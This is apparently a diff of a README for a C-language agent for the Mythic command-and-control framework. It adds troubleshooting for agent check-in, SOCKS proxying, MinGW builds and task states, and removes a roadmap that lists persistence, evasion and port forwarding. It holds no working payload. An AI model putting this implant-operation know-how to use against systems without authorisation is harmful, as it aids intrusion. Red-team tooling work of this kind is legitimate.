|
||||||
```c
|
|
||||||
else if (tarea == NEWCMD_CMD) {
|
## 🐛 Troubleshooting
|
||||||
ejecutarNuevoCmd(analizadorTarea);
|
|
||||||
}
|
### Agent Won't Check In
|
||||||
|
|
||||||
|
- Verify C2 profile settings (host, port, endpoint)
|
||||||
|
- Check network connectivity from target to C2 server
|
||||||
|
- Review Mythic logs: `sudo docker logs mythic_server`
|
||||||
|
- Enable debug logging in agent and rebuild
|
||||||
|
|
||||||
|
### SOCKS Proxy Not Working
|
||||||
|
|
||||||
|
**Port not accessible:**
|
||||||
|
```bash
|
||||||
|
# Check if port is open
|
||||||
|
sudo netstat -tlnp | grep 7002
|
||||||
|
|
||||||
|
# Ensure Mythic config allows external binding
|
||||||
|
grep DYNAMIC_PORTS_BIND_LOCALHOST_ONLY ~/Mythic/.env
|
||||||
|
# Should be "false" for external access
|
||||||
```
|
```
|
||||||
`nuevo_cmd.c` and `nuevo_cmd.h`
|
|
||||||
Create your new command implementation.
|
**Proxy times out:**
|
||||||
```c
|
- Verify agent is active and not sleeping
|
||||||
BOOL ejecutarNuevoCmd(PAnalizador argumentos) {
|
- Check translator logs: `sudo docker logs cazalla_translator`
|
||||||
// handle parsing and execution here
|
- Ensure `server_id` validation in `socks_manager.c` allows Mythic's IDs
|
||||||
}
|
|
||||||
|
**Data not flowing:**
|
||||||
|
- Enable `DEBUG_SOCKS` and rebuild agent
|
||||||
|
- Check for `0xF5` block in agent logs
|
||||||
|
- Verify translator is encoding/decoding SOCKS blocks correctly
|
||||||
|
|
||||||
|
### Compilation Errors
|
||||||
|
|
||||||
|
**`inet_pton` not found (MinGW):**
|
||||||
|
- Use `inet_addr` instead (Windows-native)
|
||||||
|
- Already fixed in current version
|
||||||
|
|
||||||
|
**Missing headers:**
|
||||||
|
```bash
|
||||||
|
# Install MinGW dependencies in Docker
|
||||||
|
apt-get update && apt-get install -y mingw-w64
|
||||||
```
|
```
|
||||||
Don’t forget to add the source file to the build and include its header where needed.
|
|
||||||
|
|
||||||
## Future Development
|
### Task Stays in "Processing" State
|
||||||
|
|
||||||
### Planned improvements:
|
**Commands like `exit`, `socks start/stop`:**
|
||||||
|
- Ensure handler sends `POST_RESPONSE` with task UUID
|
||||||
|
- Mark task as completed in `create_go_tasking` or `process_response`
|
||||||
|
- For `exit`, mark completed immediately (agent terminates)
|
||||||
|
|
||||||
#### Improvements to perform ASAP:
|
---
|
||||||
|
|
||||||
- Proxy
|
## 📚 References
|
||||||
|
|
||||||
https://github.com/jeeschr/basic-proxy-server/blob/master/proxy.c
|
- [Mythic Documentation](https://docs.mythic-c2.net/)
|
||||||
|
- [Building a Mythic Agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html)
|
||||||
|
- [SOCKS5 Protocol (RFC 1928)](https://www.rfc-editor.org/rfc/rfc1928)
|
||||||
|
- [Mythic Translator Pattern](https://docs.mythic-c2.net/customizing/payload-type-development/translation-containers)
|
||||||
|
|
||||||
- BOFexecute
|
---
|
||||||
- rportfwd
|
|
||||||
|
|
||||||
https://github.com/fidian/tcp-port-forward/blob/master/portforward.c
|
## 📄 License
|
||||||
https://www.reddit.com/r/C_Programming/s/bWOTxm6phn
|
|
||||||
|
|
||||||
|
Cazalla is licensed under the **BSD 3-Clause License**. See [LICENSE.md](LICENSE.md) for details.
|
||||||
|
|
||||||
#### Improvements tier 2:
|
---
|
||||||
|
|
||||||
- Persistence and evasion mechanisms
|
## 👥 Credits
|
||||||
- Full implementation of pwd
|
|
||||||
- Additional file system and process control commands
|
|
||||||
- File upload/download
|
|
||||||
|
|
||||||
Made with ☕ and monster by the Kaseya OFSTeam
|
**Developed by:** Kaseya OFSTeam
|
||||||
|
|
||||||
|
Special thanks to:
|
||||||
|
- The Mythic C2 team for the excellent framework
|
||||||
|
- The SNCF Red Team for the foundational C agent tutorial
|
||||||
|
- The open-source security community
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
**Made with ☕ and 💻 by the Kaseya OFSTeam**
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|||||||
Reference in New Issue
Block a user